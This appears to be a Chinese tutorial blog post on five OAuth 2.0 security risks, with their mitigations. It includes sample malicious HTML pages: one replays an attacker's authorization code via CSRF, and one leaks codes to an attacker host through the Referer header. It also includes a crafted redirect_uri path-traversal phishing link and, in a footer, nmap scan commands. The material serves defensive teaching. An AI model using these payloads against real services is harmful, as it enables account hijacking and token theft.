Day979.OAuth2.0可能存在的安全问题 -OAuth 2.0

news2024/11/15 6:48:54

OAuth2.0可能存在的安全问题

Hi,我是阿昌,今天学习记录的是关于OAuth2.0可能存在的安全问题的内容。

“OAuth 2.0 不是一种安全协议吗,不是保护 Web API 的吗?为啥 OAuth 2.0 自己还有安全的问题了呢?”

  • 首先,OAuth 2.0 的确是一种安全协议。但是它有很多使用规范,比如授权码是一个临时凭据只能被使用一次,要对重定向 URI 做校验等。如果使用的时候你没有按照这样的规范来实施,就会有安全漏洞了。

  • 其次,OAuth 2.0 既然是“生长”在互联网这个大环境中,就一样会面对互联网上常见安全风险的攻击,比如跨站请求伪造(Cross-site request forgery,CSRF)、跨站脚本攻击(Cross Site Scripting,XSS)。

  • 最后,除了这些常见攻击类型外,OAuth 2.0 自身也有可被利用的安全漏洞,比如授权码失窃、重定向 URI 伪造。

接下来, 5 个典型的安全问题,其中 CSRF、XSS、水平越权这三种是互联网环境下常见的安全风险,授权码失窃和重定向 URI 被篡改属于 OAuth2.0“专属”的安全风险。


一、CSRF 攻击

对于 CSRF 的定义,《OAuth 2 in Action》这本书里的解释:恶意软件让浏览器向已完成用户身份认证的网站发起请求,并执行有害的操作,就是跨站请求伪造攻击。它是互联网上最为常见的攻击之一。在实践 OAuth2.0 的过程,其实就是在构建一次互联网的应用。因此,OAuth 2.0 同样也会面临这个攻击。通过一个案例和你说明这个攻击类型。

有一个软件 A,让它来扮演攻击者,让它的开发者按照正常的流程使用应用。

当该攻击者授权后,拿到授权码的值 codeA 之后,“立即按下了暂停键”,不继续往下走了。

这时,有一个第三方软件 B,比如咱们的 Web 版应用,来扮演受害者吧。

当然最终的受害者是用户,这里是用 Web 版应用来作为被软件 A 攻击的对象。

应用用于接收授权码的回调地址为 https://app.org/callback。有一个用户 G 已经在应用的平台登录,且对极客时间进行了授权,也就是用户 G 已经在极客时间平台上有登录态了。

如果此时攻击者软件 A,在自己的网站上构造了一个恶意页面:

<html>
<img src ="https://app.org/callback?code=codeA">
</html>

如果这个时候用户 G 被攻击者软件 A 诱导而点击了这个恶意页面,那结果就是,应用使用 codeA 值去继续 OAuth 2.0 的流程了。

这其实就走完了一个 CSRF 攻击的过程,如下图所示:

在这里插入图片描述

如果将 OAuth 2.0 用于了身份认证,那么就会造成严重的后果,因为用户 G 使用的极客时间的授权上下文环境跟攻击者软件 A 的授权上下文环境绑定在了一起。

假如,应用提供了用户账号和微信账号做绑定的功能,也就是说用户先用自己的账号登录,然后可以绑定微信账号,以便后续可以使用微信账号来登录。在绑定微信账号的时候,微信会咨询你是否给极客时间授权,让它获取在微信上的个人信息。这时候,就需要用到 OAuth 2.0 的授权流程。

如果攻击者软件 A,通过自己的应用账号事先做了上面的绑定操作,也就是说攻击者已经可以使用自己的微信账号来登录应用了。

那有一天,软件 A 想要“搞事情”了,便在发起了一个授权请求后构造了一个攻击页面,里面包含的模拟代码正如我在上面描述的那样,来诱导用户 G 点击。而用户 G 已经用极客时间的账号登录了应用,此时正要去做跟微信账号的绑定。

如果这个时候他刚好点击了攻击者 A“种下”的这个恶意页面,那么后面换取授权的访问令牌 access_token,以及通过 accces_token 获取的信息就都是攻击者软件 A 的了。这就相当于,用户 G 将自己的应用的账号跟攻击者软件 A 的微信账号绑定在了一起。这样一来,后续攻击者软件 A 就能够通过自己的微信账号,来登录用户 G 的应用了。

这个后果可想而知。那如何避免这种攻击呢?方法也很简单,实际上 OAuth 2.0 中也有这样的建议,就是使用 state 参数,它是一个随机值的参数。

还是以上面的场景为例,当应用请求授权码的时候附带一个自己生成 state 参数值,同时授权服务也要按照规则将这个随机的 state 值跟授权码 code 一起返回给极客时间。

这样,当应用接收到授权码的时候,就要在应用这一侧做一个 state 参数值的比对校验,如果相同就继续流程,否则直接拒绝后续流程。

在这样的情况下,软件 A 要想再发起 CSRF 攻击,就必须另外构造一个 state 值,而这个 state 没那么容易被伪造。

这本就是一个随机的数值,而且在生成时就遵从了被“猜中”的概率要极小的建议。

比如,生成一个 6 位字母和数字的组合值,显然要比生成一个 6 位纯数字值被“猜中”的概率要小。所以,软件


二、XSS 攻击

XSS 攻击的主要手段是将恶意脚本注入到请求的输入中,攻击者可以通过注入的恶意脚本来进行攻击行为,比如搜集数据等。

截止到 2020 年 6 月 23 日,在 OWASP(一个开源的 Web 应用安全项目)上查看安全漏洞排名的话,它依然在TOP10榜单上面,可谓“大名鼎鼎”。

网络上有很多关于 XSS 的介绍了,看看《XSS 攻击原理分析与防御技术》这篇文章,它很清晰地分析了 XSS 的原理以及防御方法。主要看看它是怎么在 OAuth 2.0 的流程中“发挥”的。

当请求抵达受保护资源服务时,系统需要做校验,比如第三方软件身份合法性校验、访问令牌 access_token 的校验,如果这些信息都不能被校验通过,受保护资源服务就会返回错误的信息。

图2 XSS攻击过程

大多数情况下,受保护资源都是把输入的内容,比如 app_id invalid、access_token invalid ,再回显一遍,这时就会被 XSS 攻击者捕获到机会。

试想下,如果攻击者传入了一些恶意的、搜集用户数据的 JavaScript 代码,受保护资源服务直接原路返回到用户的页面上,那么当用户触发到这些代码的时候就会遭受到攻击。

因此,受保护资源服务就需要对这类 XSS 漏洞做修复,而具体的修复方法跟其它网站防御 XSS 类似,最简单的方法就是对此类非法信息做转义过滤


三、水平越权

水平越权是指,在请求受保护资源服务数据的时候,服务端应用程序未校验这条数据是否归属于当前授权的请求用户

这样不法者用自己获得的授权来访问受保护资源服务的时候,就有可能获取其他用户的数据,导致水平越权漏洞问题的发生。

攻击者可越权的操作有增加、删除、修改和查询,无论更新操作还是查询操作都有相当的危害性。

以“小兔打单软件”为例,第三方开发者开发了这款打单软件,目前有两个商家 A 和商家 B 购买并使用。

现在小兔打单软件上面提供了根据订单 ID 查询订单数据的功能,如下图所示。

图3 水平越权发生场景

商家 A 和商家 B 分别给小兔打单软件应用做了授权,也就是说,小兔打单软件可以获取商家 A 和商家 B 的订单数据。

此时没有任何问题,那么商家 A 可以获取商家 B 的订单数据吗?答案是,极有可能的。

在开放平台环境下,授权关系的校验是由一般由开放网关这一层来处理,因为受保护资源服务会散落在各个业务支持部门。

请求数据通过开放网关之后由访问令牌 access_token 获取了用户的身份,比如商家 ID,就会透传到受保护资源服务,也就是上游接口提供方的系统。

此时,如果受保护资源服务没有对商家 ID 和订单 ID 做归属判断,就有可能发生商家 A 获取商家 B 订单数据的问题,造成水平越权问题。

图4 水平越权示例图

发生水平越权问题的根本原因,还是开发人员的认知与意识不够。

如果认知与意识跟得上,那在设计之初增加归属关系判断,比如上面提到的订单 ID 和商家 ID 的归属关系判断,就能在很大程度上避免这个漏洞。

同时,在开放平台环境下,由于开放网关和数据接口提供方来自不同的业务部门,防止水平校验的逻辑处理很容易被遗漏:

  • 一方面,开放网关的作用是将用户授权之后的访问令牌 access_token 信息转换成真实的用户信息,比如上面提到的商家 ID,然后传递到接口提供方,数据归属判断逻辑只能在接口提供方内部处理
  • 另一方面,数据提供方往往会认为开放出的接口是被“跟自己一个公司的系统所调用的”,容易忽略水平校验的逻辑处理

所以,在开放平台环境下,我们就要更加重视与防范数据的越权问题。

以上,CSRF 攻击、XSS 攻击、水平越权这三种攻击类型,它们都属于 OAuth 2.0 面临的互联网非常常见的通用攻击类型。

对于其他的互联网攻击类型,想深入了解的话,可以看一下这篇安全案例回顾的文章。

接下来,再看两种 OAuth 2.0 专有的安全攻击,分别是授权码失窃、重定向 URI 被篡改。


四、授权码失窃

如果第三方软件 A 有合法的 app_id 和 app_secret,那么当它去请求访问令牌的时候,也是合法的。

如果有一个用户 G 对第三方软件 B,进行授权并产生了一个授权码 codeB,但并没有对攻击者软件 A 授权。

此时,软件 A 是不能访问用户 G 的所有数据的。但这时,如果软件 A 获取了这个 codeB,是不是就能够在没有获得用户 G 授权的情况下访问用户 G 的数据了?

整个过程如下图所示。

图5 授权码失窃攻击过程

这时问题的根源就在于两点:

  • 授权服务在进行授权码校验的时候,没有校验 app_id_B;
  • 软件 B(也就是引用)使用过一次 codeB 的值之后,授权服务没有删除这个 codeB;

看到这里,通过校验 app_id_B,并删除掉使用过一次的授权码及其对应的访问令牌,就可以从根本上来杜绝授权码失窃带来的危害了。

授权码到底是怎么失窃的呢?这也是 OAuth 2.0 中因重定向 URI 校验方法不当而遭受到的一种危害。

这种安全攻击类型,就是重定向 URI 被篡改


五、重定向 URI 被篡改

有的时候,授权服务提供方并没有对第三方软件的回调 URI 做完整性要求和完整性校验。

比如,第三软件 B 的详细回调 URI 是https://app.org/callback,那么在完整性校验缺失的情况下,只要以https://app.org开始的回调 URI 地址,都会被认为是合法的。

此时,如果黑客在https://app.org/page/下,创建了一个页面 hacker.html

这个页面的内容可以很简单,其目的就是让请求能够抵达攻击者的服务。

<html>
<img src ="https://clientA.com/catch">
</html>

好了,继续看下接下来的攻击流程:

图6 重定向URI被篡改的攻击过程

首先,黑客将构造的攻击页面放到对应的 hacker.html 上,也就是https://app.org/page/hacker.html上 ,同时构造出了一个新的重定向 URI,即https://app.org/page/welcome/back.html../hacker.html

然后,黑客利用一些钓鱼手段诱导用户,去点击下面的这个地址:

https://oauth-server.com/auth?respons_type=code&client_id=CLIENTID&redirect_uri=https://app.org/page/welcome/back.html../hacker.html

这样当授权服务做出响应进行重定向请求的时候,授权码 code 就返回到了 hacker.html 这个页面上。

最后,黑客在https://clientA.com/catch页面上,解析 Referrer 头部就会得到用户的授权码,继而就可以像授权码失窃的场景中那样去换取访问令牌了。

如果授权服务要求的回调 URI 是https://app.org/callback,并做了回调 URI 的完整性校验,那么被篡改之后的回调地址https://app.org/page/welcome/back.html../hacker.html就不会被授权服务去发起重定向请求。严格来讲,要发生这样的漏洞问题,条件还是比较苛刻的。

从图 6 的重定向 URI 被篡改的流程中,也可以看到,只要我们在授权服务验证第三方软件的请求时做了签名校验,那么攻击者在只拿到授权码 code 的情况下,仍然无法获取访问令牌,因为第三方软件只有通过访问令牌才能够访问用户的数据。

但是,如果这些防范安全风险的规范建议你通通都没有遵守,那就是在给攻击者“大显身手”的机会,让你的应用软件以及用户遭受损失。


六、总结

OAuth 2.0 相关的常见又比较隐蔽的 5 种安全问题,包括 CSRF 攻击、XSS 攻击、水平越权、授权码失窃、重定向 URI 被篡改。

以下三个知识点:

  1. 互联网场景的安全攻击类型比如 CSRF、XSS 等,在 OAuth 2.0 中一样要做防范,因为 OAuth 2.0 本身就是应用在互联网场景中。
  2. 除了常见的互联网安全攻击,OAuth 2.0 也有自身的安全风险问题,比如授权码失窃、重定向 URI 被篡改。
  3. 这些安全问题,本身从攻击的“技术含量”上并不高,但导致这些安全风险的因素,往往就是开发人员的安全意识不够。比如,没有意识到水平越权中的数据归属逻辑判断,需要加入到代码逻辑中。

其实,OAuth 2.0 的规范里面对这些安全问题都有对应的规避方式,但都要求我们使用的时候一定要非常严谨。

比如,重定向 URI 的校验方式,规范里面是允许模糊校验的,但在结合实际环境的时候,又必须做到精确匹配校验才可以保障 OAuth 2.0 流转的安全性。

在这里插入图片描述


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/931979.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

积跬步至千里 || 数学基础、算法与编程

数学基础、算法与编程 1. BAP 技能 BAP 技能是指基础(Basic)、算法(Algorithm)和编程(Programm)三种基本技能的深度融合。理工科以数学、算法与编程为根基&#xff0c;这三个相辅相成又各有区别。 &#xff08;1&#xff09;数学以线性代数为主要研究工具和部分微积分技术为手…

Spring boot 集成单元测试

1.引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency> 2. 3.编写测试类 package com.enterprise;import com.enterpr…

网络安全02-C段扫描、开放端口

查询网站IP https://seo.chinaz.com/hetianlab.com 扫描指定IP&#xff1a;例&#xff1a;nmap -A -T4 ww.hetianlab.com -oX out.html 扫描指定段&#xff1a;例&#xff1a;nmap -O -Pn -A 192.168.113.1-200 扫描整个C段&#xff1a;例&#xff1a;nmap -O -Pn -A 192.168.…

ChatGPT在医疗系统的应用探索动态

注意&#xff1a;本信息仅供参考&#xff0c;发布该内容旨在传递更多信息的目的&#xff0c;并不意味着赞同其观点或证实其说法。 生成式人工智能&#xff0c;如OpenAI开发的ChatGPT&#xff0c;被认为是可以颠覆医疗行业的工具。尽管该技术刚刚起步&#xff0c;但已有许多医…

python 面试题--2(15题)

目录 1.解释Python中的 GIL&#xff08;全局解释器锁&#xff09;是什么&#xff0c;它对多线程编程有什么影响&#xff1f; 2.Python中的装饰器是什么&#xff1f;如何使用装饰器&#xff1f; 3.解释Python中的迭代器和生成器的区别。 4.什么是Python中的列表解析&#xf…

redis报错WRONGTYPE Operation against a key holding the wrong kind of value

在redis中我们一般存储string、list、hash类型的值&#xff0c;对应的方法分别为 db.StringGet(“key”)、db.ListRange、db.HashGetAll 如果取list类型值时使用了string的方法就会报WRONGTYPE Operation against a key holding the wrong kind of value错误。 redis-cli命令窗…

网络安全之红蓝对抗实战

前言 背景介绍&#xff1a;目标是拿到企业www.xxx.com的《上市商业计划书.docx》&#xff0c;通过 OPENVPN 访问。特别提出的得分规则修改&#xff0c;权限的得分必须有 WEBSHELL/交互式 SHELL&#xff0c;只有一个漏洞回显不给分&#xff0c;更加偏向考察**漏洞利用**而非漏洞…

简单shell脚本的编写

shell脚本就是将命令写入文本中&#xff0c;文本可以被执行。 脚本&#xff1a;本质是一个文件&#xff0c;文件里面存放的是 特定格式的指令&#xff0c;系统可以使用脚本解析器 翻译或解析 指令 并执行&#xff08;它不需要编译&#xff09; shell 既是应用程序&#xff0c…

小研究 - Java虚拟机垃圾收集器的性能分析与调节

垃圾收集器是&#xff2a;&#xff41;&#xff56;&#xff41;虚拟机&#xff08;&#xff2a;&#xff36;&#xff2d;&#xff09;的核心组成部分之一&#xff0c;对&#xff2a;&#xff41;&#xff56;&#xff41;虚拟机的性能有非常重要的影响。本文将介绍&#xff2…

加油站ai视觉分析检测预警

加油站ai视觉分析预警系统通过yolov8图像识别和行为分析&#xff0c;加油站ai视觉分析预警算法识别出打电话抽烟、烟火行为、静电释放时间是否合规、灭火器摆放以及人员工服等不符合规定的行为&#xff0c;并发出预警信号以提醒相关人员。YOLOv8 的推理过程和 YOLOv5 几乎一样&…

什么是异步编程?什么是回调地狱(callback hell)以及如何避免它?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 异步编程⭐ 回调地狱&#xff08;Callback Hell&#xff09;⭐ 如何避免回调地狱1. 使用Promise2. 使用async/await3. 模块化和分离 ⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订…

Office软件安装包分享(附安装教程)

目录 一、软件简介 二、软件下载 一、软件简介 Office是微软公司开发的一套办公软件套装&#xff0c;包括多个应用程序&#xff0c;如Word、Excel、PowerPoint等&#xff0c;是全球使用最广泛的办公软件之一。以下是Office软件的详细介绍。 1、Office的历史和演变 Office最…

基于和声算法优化的BP神经网络(预测应用) - 附代码

基于和声算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码 文章目录 基于和声算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码1.数据介绍2.和声优化BP神经网络2.1 BP神经网络参数设置2.2 和声算法应用 4.测试结果&#xff1a;5.Matlab代码 摘要…

go学习-指针 标识符

指针&#xff0c;以及标识符 1.指针 &#xff08;1&#xff09;.基本介绍 1&#xff09;基本数据类型&#xff0c;变量存的值&#xff0c;也叫值类型 2&#xff09;获取变量的地址用&&#xff0c;比如 var num int ,获取num的地址&#xff1a;&num 3)指针类型&…

Java-Lambda表达式

引入 Lambda表达式是在JAVA 8 中引入的&#xff0c;初衷是进一步简化匿名类的语法&#xff08;匿名类还需要在类中实现函数&#xff09;&#xff0c;并使JAVA走向函数式编程。 语法 (parameters) -> expression 或 (parameters) -> { statements; } 可选类型声明。…

手把手教你安装jdk8

前提 我们口中说的Java8、JDK8、JDK1.8都是一个东西 下载 官方下载链接&#xff1a;&#xff08;非翻墙可访问&#xff09; https://www.oracle.com/java/technologies/javase/jdk18-archive-downloads.html 选择如图链接下载&#xff1a;&#xff08;win11,其他系统版本选择…

【C++】C/C++内存管理-new、delete

文章目录 一、C/C内存分布二、C/C中动态内存管理方式2.1 C语言中动态内存管理方式2.2 C内存管理方式 三、operator new和operator delete函数3.1 operator new和operator delete函数3.2 operator new与operator delete的类专属重载&#xff08;了解&#xff09; 四、new和delet…

elementui table 在浏览器分辨率变化的时候界面异常

异常点&#xff1a; 界面显示不完整&#xff0c;表格卡顿&#xff0c;界面已经刷新完成&#xff0c;但是表格的宽度还在一点一点变化&#xff0c;甚至有无线延伸的情况 思路&#xff1a; 1. 使用doLayout 这里官方文档有说明&#xff0c; 所以我的想法是&#xff0c;监听浏览…

Vue2项目练手——通用后台管理项目第一节

Vue2项目练手——通用后台管理项目 知识补充yarn和npm区别npm的缺点&#xff1a;yarn的优点 npm查看镜像和设置镜像 项目介绍项目的技术栈 项目搭建文件目录 创建路由&#xff0c;引入element-uirouter/index.jsmain.jspages/Users.vuepages/Main.vuepages/Home.vuepages/Login…

vue脚手架的安装并创建项目

在之前的练习中我们都是采用引入jquery、vue文件的形式&#xff0c;很多es6的新特性都是无法使用的&#xff0c;因此现在我们采用脚手架进行安装相关的配置。 1、下载node.js&#xff0c;使用其中内置的npm来下载安装包。 直接在官网中下载长期支持版本即可。点击进入node.js官…